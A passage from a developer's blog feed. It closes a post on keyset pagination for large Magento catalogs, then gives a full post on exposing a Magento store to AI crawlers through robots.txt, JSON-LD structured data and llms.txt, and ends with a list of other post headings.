Memory per batch stays small — around 5–10 MB for 1,000 rows in my case. The database runs constant-cost range scans. The caller does not need to know how many products exist.

One honest caveat

A generator keeps per-batch memory bounded. But if you collect results into a string or a big array across batches, total memory through the full loop still grows with catalog size — only the peak per fetch stays small.

So the full picture:

Database side: truly constant cost per page, no matter the page depth
Per-batch PHP memory: small and bounded
Total memory through the full loop: still grows with catalog size, unless you also stream the output to disk

The first two are big wins on their own. Do not overstate the third.

When to actually use this

Keyset pagination is the right default for any loop that:

Reads a large table from start to finish. Catalog exports, data sync jobs, sitemap generation, search reindexing — anywhere the caller needs every row, not a slice.
Runs in a background job, cron, or CLI. The sequential nature of cursor pagination is fine when nothing downstream needs to jump to an arbitrary page.
Uses a primary key that is a number and always goes up. Magento's entity_id works this way — every new product gets a bigger ID than the last one, so WHERE entity_id > :lastId always moves forward without skipping or repeating rows.

It is not the right tool when:

You need to jump to an arbitrary page. Keyset pagination is sequential — to load page 50 you need the cursor value from page 49. There is no way to compute "the row just after position 49,000" without walking there first. Storefront product listings where a user clicks "page 27" directly still need OFFSET.
The sort column is not the primary key. If users sort by price or name, duplicate values exist (two products at €9.99), so the cursor needs a deterministic tie-breaker. The WHERE clause becomes a pair: WHERE (price, entity_id) > (:lastPrice, :lastId). It works and it is still fast, but the SQL is longer and the index needs to cover both columns in the right order.
The table is small. Under a few thousand rows, OFFSET cost is lost in the noise. Stick with the default collection — extra complexity is not worth it.

The one-line version

Use WHERE pk > :lastId ORDER BY pk ASC LIMIT n instead of OFFSET, and yield your batches from a generator function. Your catalog loops will stop slowing down as the catalog grows.

Source for the module that uses this technique: github.com/iamrobindhiman/magento2-module-llms-txt.

Is your Magento store legible to AI assistants?

Robin Dhiman — Sun, 14 Jun 2026 12:54:08 +0000

Ask ChatGPT or Claude for "a waterproof hiking watch with a barometer under 200" and you don't get ten blue links. You get a shortlist, with reasons. For a growing slice of shoppers, that shortlist is the storefront. They never reach a category page. Which raises an uncomfortable question for anyone running a catalog: when an assistant builds that list, is your store on it?

On Shopify, answering that is increasingly the platform's job. Shopify now ships an Agentic Storefronts page in the admin that feeds your catalog into AI channels like ChatGPT and Copilot, then reports which queries you surface for. You can argue about how well it works, but it's native: a toggle. On Magento there is no toggle. If you want a Magento store to be legible to an AI assistant, that's on you to build.

I spent the last few months building exactly that: a module that exposes a Magento catalog to AI crawlers and assistants. The work sorts cleanly into four layers. None of them are exotic. Most stores are missing all four.

Layer 1: Let the crawlers in, deliberately

AI assistants are fed two ways: live retrieval at question time, and index crawls ahead of time. Both arrive as bots with their own user agents: GPTBot (OpenAI), ClaudeBot (Anthropic), Google-Extended, PerplexityBot, and a growing list.

Magento doesn't ship an opinion about any of them. Your robots.txt was written for Googlebot in a world that no longer exists. Step one is a decision, not code: which assistants are you willing to be read by, and have you actually said so? The mistake I see most is stores that block everything non-Google by reflex, then wonder why they're absent from AI answers.

Layer 2: Give them machine-readable facts

A human reads "Was 180, now 140." A model inferring price, currency, and availability from rendered HTML gets it wrong often enough to drop you from a comparison.

This is where schema.org Product structured data earns its keep: JSON-LD with price, priceCurrency, availability, gtin, brand. Magento emits some structured data, but coverage is partial and theme-dependent. Hyvä, Luma, and every custom frontend handle it differently. The fix is unglamorous: audit what your product pages actually output as JSON-LD, and fill the gaps. Structured data was an SEO nicety for a decade. For machine readers it's the difference between a fact and a guess.

Layer 3: Publish a map: llms.txt

llms.txt is a proposed convention: a single Markdown file at your domain root that tells an assistant, in plain prose, what lives here and where the canonical version is. Think of it as a robots.txt written for comprehension instead of permission.

I'm deliberately measured about this one. Adoption is early, no assistant guarantees it reads your file, and anyone selling it as a ranking trick is overselling. But the cost is low and the logic is sound: when a model chooses what to retrieve, a clean Markdown summary of your catalog is far cheaper to parse than crawling a few thousand JavaScript-heavy product pages. You're doing the model's summarising for it, in your own words.

Layer 4: Scale (and why Magento makes it hard)

Here it stops being a checklist and becomes engineering. A real catalog is 20k, 70k, 200k products. You can't dump all of it into one file, and you can't generate it by walking the catalog with naive setCurPage() pagination. That approach quietly falls off a performance cliff at depth. Generating an llms.txt or a machine feed for a large Magento store means keyset iteration, real curation (your best sellers and category structure, not every SKU), and incremental regeneration so you're not rebuilding everything on each cron tick.

That's the real reason this layer is missing from most stores: layers 1–3 are configuration, but layer 4 is a module someone has to write and keep correct as the catalog moves.

The honest summary

This is early. The standards aren't settled, the assistants change behaviour monthly, and nobody can promise you a number. So don't treat AI discoverability as a growth hack; treat it as cheap table stakes you can get ahead of.

The platforms are already drawing the line. Shopify is making catalog-to-AI a built-in feature. Magento, true to form, hands you the primitives and a clean architecture and expects you to assemble the rest. That's annoying. It's also the opening. The Magento stores legible to assistants in 2026 won't be the ones that waited for a toggle. They'll be the ones whose team treated it as four small problems and shipped them.

DEV Community: Robin Dhiman

The handshake tax: reuse your HTTP client in Magento integrations

The handshake tax

PHP tricks you into it

Reuse one client

The louder version

How to find it

WooCommerce HPOS: when order sync floods Action Scheduler

What's actually happening

Stop guessing. Query the queue.

The fix

The lesson that travels

A PHP login form that won't get you owned

1. Hashing passwords by hand

2. Building the query with string concatenation

3. Not regenerating the session ID

4. Telling attackers which half they got right

5. Letting them guess forever

The shape of a correct login

Enriching a large Magento catalog without melting the indexer

The mistake everyone makes first

Set shared values in bulk

Put the indexer on schedule before you start

Translations live at store-view scope

The AI part, on a short leash

An order of operations that survives 50k SKUs

Why Magento cart price rules get slow at checkout (and how to find the culprit)

Cart price rules run in PHP, on every recalculation

The pre-filter is doing more than you think

Conditions are where the time goes

The table everyone forgets: salesrule_coupon

Finding the actual culprit

What I would do, in order

CSV injection: the export button that runs code on someone else's machine

Why a string turns into a formula

Where this hides in a store

The fix

Two things people get wrong

The EAV tax: why Magento product loads are slow

What EAV actually stores

Why addAttributeToSelect('*') is the trap

Stop rendering listings off the product collection

The flat catalog is not your escape hatch

What I do instead

Migrating a Magento 2 store from utf8 to utf8mb4 without losing data

utf8 is a three-byte lie

The migration looks like one line. It isn't.

The column is only half of it

Two things that bite mid-migration

The lesson isn't really about Magento

Which Magento extension is slowing you down? Stop guessing.

Where an extension actually costs you

Step 1: turn on the profiler

Step 2: count what's actually attached

Step 3: confirm with a controlled measurement

What to do with the answer

The point

unserialize() is the Magento footgun nobody audits

How a string becomes a shell

Why Magento extensions are fertile ground

The fix is boring, which is the point

Auditing your own store

The wider point

Paginating Magento catalogs without OFFSET

The standard way, and why it breaks

The fix, part one: keyset pagination

The fix, part two: PHP generators

One honest caveat

When to actually use this

The one-line version

Further reading

Is your Magento store legible to AI assistants?

Layer 1: Let the crawlers in, deliberately

Layer 2: Give them machine-readable facts

Layer 3: Publish a map: llms.txt

Layer 4: Scale (and why Magento makes it hard)

The honest summary

Why `addAttributeToSelect('*')` is the trap

`utf8` is a three-byte lie